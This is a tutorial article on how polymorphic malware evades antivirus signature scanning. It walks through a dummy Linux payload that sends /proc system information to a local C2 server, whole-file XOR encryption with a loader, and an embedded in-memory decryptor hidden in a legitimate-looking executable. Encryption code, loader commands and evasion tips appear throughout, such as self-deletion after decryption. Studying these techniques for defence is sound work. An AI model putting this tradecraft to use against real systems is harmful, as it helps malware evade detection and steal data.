Click here to Skip to main content
14,542,667 members

Evolution of Polymorphic Malware

Rate this:
5.00 (13 votes)
Please Sign up or sign in to vote.
5.00 (13 votes)
14 Apr 2018CPOL
An introduction on how these applications self-defend themselves against scanning techniques, and how they could have evolved from simple and naive forms to more sophisticated ones.

Download MOT.zip

Introduction

In order to detect and inform users that their computer has been compromised, Antiviruses, along with lot of other techniques, applies signature-based detection techniques. Signature-based detection have evolved with time, and they have become more and more performant in their duty, but still remain prone to be fooled by careful virus writers.

Applications (and so also viruses), are written to perform numerous operations. These operations ususally goes from contacting a Command & Control (C2) server to spred infection to other hosts connected to the local network. Every task given provides to give a single and personal "taste" to the malware, and the more the tasks given, the unique the application is.  I usually refer to this property as the "surface" of the application. The bigger the "surface", the unique it becomes due tricks, injection and infection techniques used.

Antivirus signatures databases works as a support to system scanning, and they provide the signature of specific application (or part of applications), that identifies a threat. Around the globe lot of laboratories and engineer analyzes particular threats, extracts important parts of the software and insert them in such databases, which are later updated on all the antivirus instances on personal laptops, server and smartphones.

If a similar application is found anywhere else, it is then recognized as a threat and the antivirus decide what to do to clean the infected system (if it decide to clean it; some antivirus just inform that the PC is compromised). This metodology is usually really reliable, but needs the virus to be dowloaded on the antivirus lab pc, dissected by engineers and inserted in the database. All these steps takes time to be applied, and during such period the virus in the wild is free to perform its tasks undisturbed. Antiviruses of course have some others arrows in their bows, like detection techniques which are not based on signature but rather on heuristics. These techniques thus are difficult to handle and prone to false positives and errors (identifying a legit application as virus).

Polymorphics malware is an old idea, and basically consist in hiding the malware by covering it with a "cape" of some sort, in order to fool signature-based scans or similar techniques. The hiding can be done in countless way, and that is why malware protected through such mechanism is dangerous and considered difficult to handle with. Writing a polymorphic malware is no easy task too, since small errors can lead to enormous problems (making the software unusable).

Still, despite the lack of this protection mechanism, virus can still be deadly until their are detected and signed by antivirus companies. Out there there are plenty of example of long-living malware with no protection at all, ignored by everyone beacuse silent enough not to attract the focus of the guards.

Background

You need to know Encryption techniques, memory access and protection, Makefile, C and low level assembly and CPU byte-code. You must also have advanced knowledge of Linux operating system and build tools (GCC & company), togheter with debugging tools like GDB and readelf. All the arguments threated here are advanced, but I'll try to present them as smooth as possible.

Architecture and OS

The software has been written, tested and compiled under Windows, but currently target Linux operating system. My current programming tools are a simple IDE like Eclipse and the Linux subsystem for Windows, with Ubuntu Canonical package installed. This is all you need to create such software. I will explain compilation steps and tool used with Linux subsystem, but take in account I'm using a native Windows 10 machine.

The application target x64 Linux architecture, but can easily adapted to be used under Windows too (change some system calls, compile with mingw and adapt for PE files basically).

Discalimer

This article has been written to show how this technology could have evolved, starting from simple ideas to more complex and twisted ones. All the software you will find here is just a stub, completed enough to show how the functionality works, but that's all. Malware and similar applications need an (usually more complex) architecture to perform their tasks; security is not only applied on the application itself, but necessary also for communication, synchronization, injection and data extraction. All these additional points are not covered here, since they are out of the scope of the article.

The source code attached to this articles does basically nothing apart from trying to protect itself from scanning techniques and communicate with a fake C2 server to exchange information on the machine setup and hardware. I also want to warmly discourage you from using this code for real and evil purposes, and if you do be ready to excpect heavy consequences.

I invite you to explore the code, analyze it and realize how vulnerable a personal computer can be. I want to provide you more knowledge about cyber threats, so that you don't click on that strange attachment coming from a unusual e-mail sent by stranger or friends. I don't know how people can still fall for this...

All the software here is original and not copy-pasta from any forum or hidden web pages. I prefer to write it by myself (use my brain and imagination) rather than use other peoples work. This is the only way to really understand how such mechanisms works.

Purpose of the dummy Malware

First of all, what is the purpose of writing such malware?

Well, of course here is learning and understanding them, but we need a more realistic one. Lets set its job on information extraction from target hosts. The core task of this malware is to retrieve some hardware information of the PC where is running on. Since the target Operating System is Linux, we are speaking of reading and sending back to the C2 server the content of, for example, files like /proc/cpuinfo/proc/meminfo/proc/cmdline and /proc/version.

I will name this core component as "payload". Other components, with other purposes, will be different payload of the malware. In order, payload taks are:

  • Connect to the C2 server, located on localhost, port 4000.
  • Read the content of the /proc files.
  • Send the content of the files to the C2 server.
  • Close the connection and die.

As I previously said, no efforts are made to hide the traffic or propagate the malware to other hosts. This application basically does nothing which harm your PC, except for exposing your system information to unknown future threats (prepared ad-hoc with those information).

The ~80 lines program located in poly/1_basic/pload.c will be the core functionality of this malware. By proceeding with incremental complexity of the software, they will be lightly updated, but they will maintain the same behavior.

C2 server

The C2 server is also really simple.

Since it will run on a compromised server (up for the sole purpose of handling incoming connections), it wont have any protection mechanism to hide itself from the system where is running on. The server is minimalistic, but (following a modular approach) is not single task oriented.

The data extraction module (dext) runs on a well defined port (which can be modified at will) and will start an autonomous thread listening for incoming connection by malware instances. Once connected, the module will simply print on the standard output the content of the incoming connection (which are the information extracted by the client). A better implementation would have organized such information in a database, with relation on the IP address and port used to exchange the information, and the generation of a temporary ID to associate to the instance, which can be made globally unique by the server itself.

The C2 server is located in c2 folder, under the root. To run it just read the source files, compile them and then run without any additional argument.

Signature verification

A small utility which performs SHA2 256 signature is also included in the project. Such application will scan any given binary file to create cryptographic strong hashes (signatures) of it. We will see how these signatures will identify our core payload, and how the polymorphism help covering your trace during intrusion in a system.

Not only the application is instructed to compute signature of the entire file, but also create signatures for smaller areas of the same file. Since, due to avalanche effect, changing one byte change the entire signature, using SHA256 on the entire file is not enough to have an usable information. Well, the reliability of an entire file hash information is for sure near 100%, since an exact copy of the malware will be detected without any doubt on the system, but next generations (modified and re-compiled) of the same maleware will pass undetected.

Signature creation usually take also into account wildwards and similar tricks. This means that instructions which does not provide any meaningful operation are not taken into account; adding NOPs or similar byte code to your application will not help you in avoid the detection. This is not something taken into account in the tool provided, so don't use it in production environment.

Take also in account that it is not necessary to use hashing functions to extract file signatures! It is enough to select and isolate a meaningful part of the code/data that it's likely to be an unique feature of the malware (a string, a procedure of some sort or a specific algorithm).

Unprotected malware

Unprotected malware is not dummy or useless by default. There are situation where putting the efforts of polymorphism is not worth: if your objective does not require high success rate and time is limited, you can code something which is not protected at all and use simply use it as-it-is.

Once detected it willl be impossible to use safely the application again, because prone to detection by antivirus softwares. If the efforts and money thrown at it are few enough, getting few results is still worth the game. Being able to break a poorly protected system with a 1 day written software is still a good achievment.

If run the c2 server on the local machine, you will get the following trace:

xxx@xxx:/mnt/c/Projects/MOT/c2$ ./c2
Initializing Data Extraction module...
Listening for incoming reports...

Then you need to access the poly/1_basic directory, where the first step of our journey is located. Compile and run the pload software. No log will be shown on the payload console; there is no need to inform the user that it has been compromised. On the server side, if everything works fine and connection can be established, you will be able to see the information reported by the malware, which is something like:

processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 94
model name      : Intel(R) Core(TM) i5-6600K CPU @ 3.50GHz
stepping        : 3
microcode       : 0xffffffff
cpu MHz         : 3504.000
cache size      : 256 KB
physical id     : 0
siblings        : 4
core id         : 0
cpu cores       : 4
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 6
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave osxsave avx f16c rdrand
bogomips        : 7008.00
clflush size    : 64
cache_alignment : 64
address sizes   : 36 bits physical, 48 bits virtual
power management:

processor       : 1
vendor_id       : GenuineIntel
cpu family      : 6
model           : 94
model name      : Intel(R) Core(TM) i5-6600K CPU @ 3.50GHz
stepping        : 3
microcode       : 0xffffffff
cpu MHz         : 3504.000
cache size      : 256 KB
physical id     : 0
siblings        : 4
core id         : 1
cpu cores       : 4
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 6
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave osxsave avx f16c rdrand
bogomips        : 7008.00
clflush size    : 64
cache_alignment : 64
address sizes   : 36 bits physical, 48 bits virtual

[...]

This demonstrate that the payload is doing its (useless) job properly.

So how we detect that an application with such features is currently running in our sistem?
Well, first we need to run our tool for file signatures on the payload (once located), and select a set of signatures that are meaningful to us. For example, you can invoke the following command from within the signer folder:

xxx@xxx:/mnt/c/Projects/MOT/signer$ ./sign_test.sh ../poly/1_basic/pload

A set of output files containing signatures of data of different size will be prepared in the folder of the target executable. For every output file you will have the first signature which identifies the entire file. For example, if we dump pload.4096.hash, we will find the following output (each line is an hashed block):

FILE:
c4 b1 18 c8 88 3b ca f2 a9 5c a1 c5 1f 4c 44 21 32 05 91 9d dd 66 95 7b 97 79 49 8b aa da 3d 2e

BLOCKS:
c7 e7 b1 ce 12 b6 72 65 de 3f 0c f1 6f e4 a6 21 6b 84 78 db e5 21 62 98 d4 19 b4 e7 7e 7e c0 89
a6 a2 f8 68 1a 8e 65 79 9e b4 5e 8e e7 33 68 9a 5b bc 22 43 87 52 7c e3 a2 64 f5 7b 03 5b 67 d2
65 66 3c 13 94 4a f3 b5 1e ea 11 c3 e5 49 71 1a 70 1d a1 4a 08 05 bb 30 33 09 5e e2 a8 42 a1 9a
6a 9a 70 33 4c bd dd 6c 05 9a 33 ed 5e 55 c0 97 dd 79 36 f5 0a 99 2b 14 25 19 6a 54 0f 24 34 77
b1 62 a5 b8 7d bc f6 24 34 63 c1 be 13 60 ef 1d 14 8d 6f 4c 6a 63 72 a2 28 2c 6c 59 99 de 12 35

The first line (highlighted) is the hash of the entire pload file, while successive ones are hash of the first, second, third and so on sets of 4096 bytes of the pload application. Again, let me repeat that this method of detection is very dummy and presented here only for educational purposes. Its reliability is very low in real environments. I'm using it just to demonstrate effects that can occur with this and more complex signature mechanisms (the problem at the base is still the same).

As you can notice, no blocks generate a similar signature, since the data used for signature generation is likely to be unique giving the big size (4 KB). In a similar way of the entire-file hash, this big blocks can be fooled with minimal modification, due to avalanche property of SHA or other hash procedures.

By reading the other signature files, you will start to see the effect of selection of small pools of bytes from the target application. The hash dump with 1024 (1 KB) data size pools starts to show a possible problem of the signatures (highlighted, each line is an hashed block):

FILE:
c4 b1 18 c8 88 3b ca f2 a9 5c a1 c5 1f 4c 44 21 32 05 91 9d dd 66 95 7b 97 79 49 8b aa da 3d 2e

BLOCKS:
d5 7c 10 66 09 29 60 a0 a1 10 9f 1c 10 5d 0d 39 70 f4 7b 91 42 ea 8b a3 8a 08 dc fa e7 69 2f ce
d9 cd 03 c7 0d 28 ef 30 97 0e d1 38 bf ef 24 5d df 4e e5 e2 88 65 57 f5 79 8f 25 18 45 a9 b9 02
5e 1f c3 c6 af ce ee 52 e0 2d 40 68 d4 54 45 66 8a 13 68 54 2c 71 3f 67 0a 2d 78 fe 08 61 19 b9
7e b7 8d d7 b4 35 e0 d3 97 33 8c 74 c7 7f 60 a9 a1 73 00 9f f4 22 5b e3 92 72 ae 64 b4 85 ab 3c
5f 70 bf 18 a0 86 00 70 16 e9 48 b0 4a ed 3b 82 10 3a 36 be a4 17 55 b6 cd df af 10 ac e3 c6 ef
5f 70 bf 18 a0 86 00 70 16 e9 48 b0 4a ed 3b 82 10 3a 36 be a4 17 55 b6 cd df af 10 ac e3 c6 ef
5f 70 bf 18 a0 86 00 70 16 e9 48 b0 4a ed 3b 82 10 3a 36 be a4 17 55 b6 cd df af 10 ac e3 c6 ef
76 c0 d9 16 71 98 84 86 88 ce d1 49 d0 5c fb 45 f6 5a ea fe e3 e0 83 00 b3 3a 25 e4 3b a3 79 af
99 1c 64 3b 41 ee 6b 80 a6 01 57 9e 3b bf 50 0d 78 c0 57 68 a5 40 9b 71 72 a7 3a 31 a8 b4 be 88
68 b4 cb 82 20 84 85 d4 1d cc db e1 56 8e 60 62 b0 27 6a d2 02 c2 67 2b 23 06 c5 a4 51 e5 76 56
c2 59 62 f6 8e fa 36 00 d9 c1 f9 f3 2a 4c 9a 6e 9b 44 6b 2b f1 0e 72 ff 28 da c1 37 39 46 01 ac
b7 d9 f4 39 ec a7 bd 8b bc ed b9 69 4b 55 7a c3 44 81 2b 6e b1 fe 62 5a ef b3 c6 9e 9b 42 07 0d
83 fe 09 c8 48 31 a1 fe 73 b4 98 11 17 4f 2e 97 5d 2b e9 b8 44 f9 a8 c3 94 71 5f ca 9c a7 8a b0
42 4c b6 2e dd 5a 1d 34 15 60 8b 91 c6 ba ae df 6f 5f 74 0e 20 13 02 22 4f 60 d7 a7 63 aa 7c 45
18 1c 6a 15 e5 0d 0e 08 4d 09 9b 75 64 d4 23 a7 5d b8 ae 6e 55 c7 12 c2 5d 32 b1 8d 29 c7 40 9f
b6 7f bc 99 de 2d 34 bf a7 2e 21 b5 2b e5 35 7b e9 0e 83 4f 9f c3 de fe 84 28 35 fc 28 ed 16 36
b1 62 a5 b8 7d bc f6 24 34 63 c1 be 13 60 ef 1d 14 8d 6f 4c 6a 63 72 a2 28 2c 6c 59 99 de 12 35

Area of the pload with similar source data will generate the same signature. The lower the pool of data considered for the signature, the bigger the probability to have multiple signatures with the same value. Even worse, if you select pools of data too small, it's also probable that a similar signature can be detected in another (legit) application. This leads to false positive detection, and can trigger your scan technology on safe applications.

On the other side, as previsouly said, getting large data pools for signature generation is not really reliable, since minimal modification can generate an entire new threat that is undetected by not-updated antivirus databases. You can align your signature to ELF/PE sections, and assume that code/data can remain the same, while other elements change, but this is not always true and you will be fooled again.

Leaving on a side all those considerations, you still have now the signature of such file (the first line), and for malware that don't consider obfuscation this is enough to get a detection. Due to the complexity in handling such technique not all the malware protects itself, and just consider in using 0-days vulnerabilities (or older ones on unpatched systems) to spread and affect the bigger number possible of hosts before it can be detected. In addition, less complex malware can be edited (if you have the source files) pretty quickly and adapted to do the job in another way. This is enough usually to have a new generation which is usually no more detectable by this signature or similar system.

Again, as everything out there, you need to consider costs and benefits. It is really worth to spend 1/2 year in a highly modular, obfuscating, malware with the risks of being detected immediately and waste all those efforts? Isn't it better to spend one or two weeks and release the straight application as it is? Once detected, the efforts put for its generation will be minimal, and probably you already benefit from its run in the wild for some month or so. In addition you can modify it in a week to have a slightly different version which can still do it's job for some other months.

Resume

  • Difficulty: Low, simple as writing a normal software.
  • Obfuscation: None, since does not try to protect itself.
  • Secure on: Nowhere, it's safe until detected and dissected.
  • Detect with: Simple signatures (once dissected) or heuristics (by behavior analysis, API used, connection and traffic scan, etc...).

The naive way

Lets assume that, after your strategical analysis, you considered to have an obfuscated application at your service. After all you don't want to give easy life to the security guys and you think it's "cool" to have one (and I hope you have way better arguments on your side than these). The first idea that can come to your mind is the straight application of what polymorphic binary is: encrypt that ELF/PE file as a whole!

While applying this strategy you need to consider some important points:

  • Your application now is not valid anymore while encrypted.
    Any attempts to run it will fail since the loader does not recognize it as an executable file.
     
  • Trying to execute it regardless of the loader errors will result in the application crash (random byte-code executed by the CPU which leads to illegal operations and exceptions or, even worse, to data corruption).
     
  • You need now a small external utility (a loader) to "prepare" the application to be run in a legit away, thus increasing the detectable "surface" of your malware (the more the surface, the more the probability to be detected with signatures).

Don't get me wrong here: the "naive" method is not a stupid one! Having encryption applied at the entire file is pretty useful, since using different key results in different encrypted data. This means that signatures here are totally useless against an encrypted part of the threat.

In addition to this, the malware has no idea that it will be encrypted/decrypted, and the internal complexity will lower due to this. You can code it as any other normal application, without care of this security aspect, since it will be performed by another actor of your framework. The loader application located in poly/1_basic provides you the necessary functionalities for encrypting/decrypting your ELF/PE file on disk. With some quick and easy modifications you can perform these operations stright in memory if you desire to, but you still need the operating system loader to access such data somehow to perform relocations and loading. An additional advise I want to give is to instruct the decrypted malware to delete itself (on the hard disk) while running, or otherwise a trace of the unencrypted software is left in the secondary memory.

How does it work, then? Well, once you compiled all the applications in the 1_basic folder, and you tested that pload functionality is working, you need to invoke the following shell command:

./ldr ./pload e 1234

The loader will (e)ncrypt the pload executable using key 1234 into a file named "encrypted". As you can see here, you can provide any key you desire to the same ELF/PE file. Different keys leads to different payload, which will ultimately have different signatures. You can even apply the encryption operation different times, with the same of different keys, but you will need to remember the steps and keys in order to decrypt it before the use.

Running the signature utility on the encrypted malware now will lead to the following set of signatures (again, each line is an hashed block):

FILE:
c7 e7 b1 ce 12 b6 72 65 de 3f 0c f1 6f e4 a6 21 6b 84 78 db e5 21 62 98 d4 19 b4 e7 7e 7e c0 89

BLOCKS:
a6 a2 f8 68 1a 8e 65 79 9e b4 5e 8e e7 33 68 9a 5b bc 22 43 87 52 7c e3 a2 64 f5 7b 03 5b 67 d2
65 66 3c 13 94 4a f3 b5 1e ea 11 c3 e5 49 71 1a 70 1d a1 4a 08 05 bb 30 33 09 5e e2 a8 42 a1 9a
6a 9a 70 33 4c bd dd 6c 05 9a 33 ed 5e 55 c0 97 dd 79 36 f5 0a 99 2b 14 25 19 6a 54 0f 24 34 77
b1 62 a5 b8 7d bc f6 24 34 63 c1 be 13 60 ef 1d 14 8d 6f 4c 6a 63 72 a2 28 2c 6c 59 99 de 12 35

As you can see, now all the signature differs from the ones of the original malware.

The applied algorithm for encryption use a basic XOR operation over the data, which chain together previous encrypted byte with the current evaluated one, and salt everything with the given key. The mechanism is really simple, but functional enough to hide the application. In addition to this, entrophy calculation over the encrypted file is likely to fail at detecting it as encrypted, since it is not generated using a pool of cryptographic strong random numbers (some antivirus detects encrypted files with this mechanism).

 /* XOR encrypt the buffer using a key */
for(i = 0, k = 0; i < br; i++, k = (k + 1) % ksize) {
    if(i == 0) {
        buf[i] = buf[i] ^ key[k];
    } else {
        buf[i] = buf[i] ^ buf[i - 1] ^ key[k];
    }
}

Decrypting the application is as simple as encrypting it, and can be done with the following command:

./ldr ./encrypted d 1234

This command will ask the loader to (d)ecrypt the previously encrypted payload with the same key, and the result of this operation will be a clear and ready-to-be-executed file named "decrypted". If you run the C2 server and then the decrypted file, you will experience a similar feedback of the unprotected malware.

Resume

  • Difficulty: Easy, just additional loader logic is required.
  • Obfuscation:
    • Unprotected loader: Bad, since it does not protect itself.
    • Protected loader: Excellent, since now the loader is metamorphic (will eventually be another article).
  • Secure on: Hard disk and network download/upload.
  • Detect with: Simple signatures (on loader) or heuristics on both the components. RAM scans of the active application also help detecting the obfuscated maleware using signatures (the loaded and executed memory is in clear and not protected).

Reducing the malware surface

As you could have guess with the previous resume, having encryption applied to the entire payload is a good technique since it does not leave anything outside the encryption "cape". This reduces the possibility to leave particular mechanisms outside protection, and nullify any signature created on them. What is actually bad about that technique is the fact that the additional component designed, the loader, adds surface to the software, and if left unprotected basically disrupts all the efforts put to hide the software (like multiplying by zero a number). Since now the loader is part of your framework, and you decided to obfuscate it, you also need to protect it. The loader cannot be encrypted thus, since it has to be executable by the CPU, and does not reside in an enclave (see Intel SGX).

There are multiple way to go here. You can use small and easily to modify loader, since the efforts to write them will be minimal, but once dissected they will not provide anymore obfuscation. Another way is to reside on metamorphism to let the loader change it's shape from generation to generation; this way the loader is never the same, and antivirus usually are not able to pick a good detection sigature for it (still they can try to apply heuristics of some kind).

Another way to go is to embed everything together in a single executable (kind of light obfuscation). In such way you will have the loader "somewhere" in a legit application (you can embed the malware in a small utility or game, for example). To detect such loader you need to apply signatures with a low data pool (you can't use whole application signatures), since the application now has non-malware code inside, but this also can lead to false positive detection or similar problems. Putting the same (or better, slightly different) loader in different applications is enough to create a light mechanism of obfuscation.

I'll use this last technique, since using metamorphism will be left for another day (probably another article). The loader will be included in an application that contains both the loader and the payload. The loader is triggered at some point (in the sample application immediately), and this will lead to decryption and execution of the malware in-memory. Is worth to highlight that using such technique does not generate anymore unencrypted executables on hard-disk; they stay encrypted until loaded.

What we will end up having is something like:

+------------------------+ <--- start of executable
|                        |
|    PE/ELF header(s)    |
|                        |
+------------------------+
|     .text section      | <--- legit executable section, where loader is
+------------------------+
|     .xdata section     | <--- payload, encrypted (you can have more than one)
+------------------------+
|     .data section      | <--- legit data section
+------------------------+
|                        |
|                        |
|          ...           |
|                        |
|                        |
+------------------------+ <--- end of executable

It is not necessary to isolate the pload in a separate section, as I did in this example. You can always decide to put everything in the code section, and encrypt only the part you need. Take in account that an additional utility (called "butler" here), will be in charge of perform the inital encryption on the ELF/PE file, since it is instructed to always perform decryption before using the payload. Since the loader used here is not smart, it is not able to detect that no encryption have been applied. Running the maleware before running butler will result in decrypting the clear payload, with the result of crashing your application (decrypting the clear code will result in generating invalid opcodes).

And additional important note: in order to avoid the Windows/Linux loader to mess with the encrypted data, you will need to build your application with Independent Position Code flags set. This allows the code to be compiled with jumps relative to the local code, with the result of stripping relocations from the software. If you don't perform this step, and the application is not loaded in its preferred address, the loader will modify relocations regardless of the status of the code (encrypted/clear). Some of the relocations will be for sure located inside the encrypted area, and the loader will change them in order to match the new address location (before decryption, because loader have no idea that the code is encrypted). This is likely to end in a disaster.

In the directory poly/2_all_in_one you can find this example. Invoke the make to compile that part of the project.
Running the signer on the malware "mw" will have the following results (do I need to say again that each line is a different hashed block ?):

FILE:
73 fe 5e 01 ff 43 8d d6 54 0d 0b 26 ba 85 14 6d 80 03 30 b6 79 fe 4b 57 e1 5b 9d 65 64 0c 55 68

BLOCKS:
58 73 42 d0 34 37 33 cc e0 61 d8 a3 1a 73 a5 32 52 df 27 3e 25 3d d0 55 0c 0e 18 fa f9 25 25 03
89 9b e2 4b c2 16 e3 83 68 dd e0 3c ad 67 39 8f 12 97 e5 2b 1f 94 0e 2f 40 d1 00 22 0e 9f f3 fe
f7 50 54 47 6c 37 9d c2 79 ab 03 bf d3 04 b8 68 a1 f7 04 49 05 df 3e 36 bb 1b 02 f7 95 09 69 d7
d8 6e bc 50 da d2 f1 4c 00 96 40 61 9d 1c ee 0e 61 5e 55 29 2e 88 a0 21 03 f1 7e f6 34 f5 41 00
3c cf 55 97 30 de 55 00 03 67 c5 37 db cd b2 4a d5 4d b4 25 f1 0d 15 3f a9 30 46 3e 8c e6 ba f2

And if you examine it with readelf utility you can detect the additional section containing our payload.

xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ readelf -S ./mw
There are 38 section headers, starting at offset 0x3d98:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.build-i NOTE             0000000000400274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298
       000000000000001c  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8
       00000000000001b0  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000400468  00000468
       00000000000000c1  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           000000000040052a  0000052a
       0000000000000024  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          0000000000400550  00000550
       0000000000000040  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             0000000000400590  00000590
       0000000000000018  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             00000000004005a8  000005a8
       0000000000000180  0000000000000018  AI       5    25     8
  [11] .init             PROGBITS         0000000000400728  00000728
       000000000000001a  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         0000000000400750  00000750
       0000000000000110  0000000000000010  AX       0     0     16
  [13] .plt.got          PROGBITS         0000000000400860  00000860
       0000000000000008  0000000000000000  AX       0     0     8
  [14] .text             PROGBITS         0000000000400870  00000870
       0000000000000352  0000000000000000  AX       0     0     16
  [15] .xdata            PROGBITS         0000000000400bc2  00000bc2
       0000000000000277  0000000000000000  AX       0     0     1

[...]

As it is now the software is not usable. Before even trying to run it you need butler to perform its job, and encrypt the payload using the same key that will be used by the internal loader to decrypt it. Butler also need to match the same cryptographic algorithm in order for the loader to perform the reverse operation correctly (always the same basic XOR will be used).

xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ ./butler
64-bits executable detected...

If no errors are reported on the console, it means that operations have been successful. Running again the signature utility will show that something has indeed changed inside the "mw" software, since now some signatures are different:

FILE:
f8 a0 4a 72 fa 9b c8 8d ba 17 40 34 33 d8 47 f5 fc d8 b8 3d 65 98 c7 4c 88 c0 3d 2b d1 b4 a4 06

BLOCKS:
99 c9 2d a2 a3 fc 07 0a 23 cf c6 4f f3 7e 6a 73 1d 46 40 f2 4e d9 bd e8 3a 9a 94 43 08 8c 62 ae
89 9b e2 4b c2 16 e3 83 68 dd e0 3c ad 67 39 8f 12 97 e5 2b 1f 94 0e 2f 40 d1 00 22 0e 9f f3 fe
f7 50 54 47 6c 37 9d c2 79 ab 03 bf d3 04 b8 68 a1 f7 04 49 05 df 3e 36 bb 1b 02 f7 95 09 69 d7
d8 6e bc 50 da d2 f1 4c 00 96 40 61 9d 1c ee 0e 61 5e 55 29 2e 88 a0 21 03 f1 7e f6 34 f5 41 00
3c cf 55 97 30 de 55 00 03 67 c5 37 db cd b2 4a d5 4d b4 25 f1 0d 15 3f a9 30 46 3e 8c e6 ba f2

If you dump the bytecode of both versions, before and after the execution of butler utility, you will also see what kind of changes, in details, have been applied to the maleware payload.

xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ make
gcc -Wall -g -fpic -o mw ./main.c ./pload.c -ldl
./main.c: In function ‘mem_decrypt’:
./main.c:18:17: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
  void * start = (long)pload_send - ((long)pload_send % ps);
                 ^
gcc -Wall -g -fpic -o butler ./butler.c
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ hexdump ./mw > mw.txt
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ ./butler
64-bits executable detected...
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ hexdump ./mw > mw.after.txt
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ diff ./mw.txt ./mw.after.txt
189,228c189,228
< 0000bc0 c3f3 4855 e589 8148 30ec 0004 8900 dcbd
< 0000bd0 fffb 48ff b589 fbd0 ffff 4864 048b 2825
< 0000be0 0000 4800 4589 31f8 c7c0 e485 fffb 00ff
< 0000bf0 0000 4800 858b fbd0 ffff 8d48 b735 0002
< 0000c00 4800 c789 17e8 fffc 48ff 8589 fbe8 ffff
< 0000c10 8348 e8bd fffb 00ff 1d75 8b48 d085 fffb
< 0000c20 48ff c689 8d48 8f3d 0002 b800 0000 0000
< 0000c30 8be8 fffb ebff 4874 958b fbe8 ffff 8d48
< 0000c40 f085 fffb 48ff d189 00ba 0004 be00 0001
< 0000c50 0000 8948 e8c7 fb16 ffff 8589 fbe4 ffff
< 0000c60 858b fbe4 ffff 6348 48d0 b58d fbf0 ffff
< 0000c70 858b fbdc ffff 00b9 0000 8900 e8c7 fb2e
< 0000c80 ffff 8548 79c0 480c 3d8d 024a 0000 cde8
< 0000c90 fffa 83ff e4bd fffb 00ff 9b7f 8b48 e885
< 0000ca0 fffb 48ff c789 d5e8 fffa 48ff 458b 64f8
< 0000cb0 3348 2504 0028 0000 0574 d1e8 fffa c9ff
< 0000cc0 55c3 8948 48e5 ec83 8910 fc7d 458b 48fc
< 0000cd0 358d 021e 0000 c789 e5e8 fffe 8bff fc45
< 0000ce0 8d48 1b35 0002 8900 e8c7 fed4 ffff 458b
< 0000cf0 48fc 358d 0218 0000 c789 c3e8 fffe 8bff
< 0000d00 fc45 8d48 1535 0002 8900 e8c7 feb2 ffff
< 0000d10 c990 55c3 8948 48e5 ec83 6430 8b48 2504
< 0000d20 0028 0000 8948 f845 c031 00ba 0000 be00
< 0000d30 0001 0000 02bf 0000 e800 fb12 ffff 4589
< 0000d40 83d4 d47d 7500 4816 3d8d 01e2 0000 0de8
< 0000d50 fffa b8ff 0000 0000 bbe9 0000 4800 3d8d
< 0000d60 01ec 0000 87e8 fffa 48ff 4589 48d8 7d83
< 0000d70 00d8 2275 8d48 d535 0001 4800 3d8d 01d8
< 0000d80 0000 00b8 0000 e800 fa34 ffff 00b8 0000
< 0000d90 e900 0082 0000 c766 e045 0002 8b48 d845
< 0000da0 408b 4814 d063 8b48 d845 8b48 1840 8b48
< 0000db0 4800 4d8d 48e0 c183 4804 c689 8948 e8cf
< 0000dc0 fa3c ffff a0bf 000f e800 f9d2 ffff 8966
< 0000dd0 e245 8d48 e04d 458b bad4 0010 0000 8948
< 0000de0 89ce e8c7 fa58 ffff c085 1374 8d48 853d
< 0000df0 0001 e800 f968 ffff 00b8 0000 eb00 8b19
< 0000e00 d445 c789 b8e8 fffe 8bff d445 c789 bde8
< 0000e10 fff9 b8ff 0000 0000 8b48 f875 4864 3433
< 0000e20 2825 0000 7400 e805 f964 ffff c3c9 4855
< 0000e30 e589 00b8 0000 5d00 00c3 0000 8348 08ec
---
> 0000bc0 c3f3 1e64 75a4 bf0c 6460 6351 ed50 8f61
> 0000bd0 8c47 3842 0382 2be2 2ce7 0379 8bbb 859f
> 0000be0 82b6 c9b3 0273 c8cb c83b aa7c a962 5567
> 0000bf0 5266 1963 10a1 38f1 3ff4 f946 7cff 7d4f
> 0000c00 324e 7f8a 87a4 874a 374b 388f 2ce3 2fe2
> 0000c10 e354 b56f b67d 4a78 250c e55c b753 b07d
> 0000c20 007c 4cb8 8e37 3f82 3a0e 810b 86b2 85b7
> 0000c30 e15e e62b f52a cab0 d372 c30a c40f 02bd
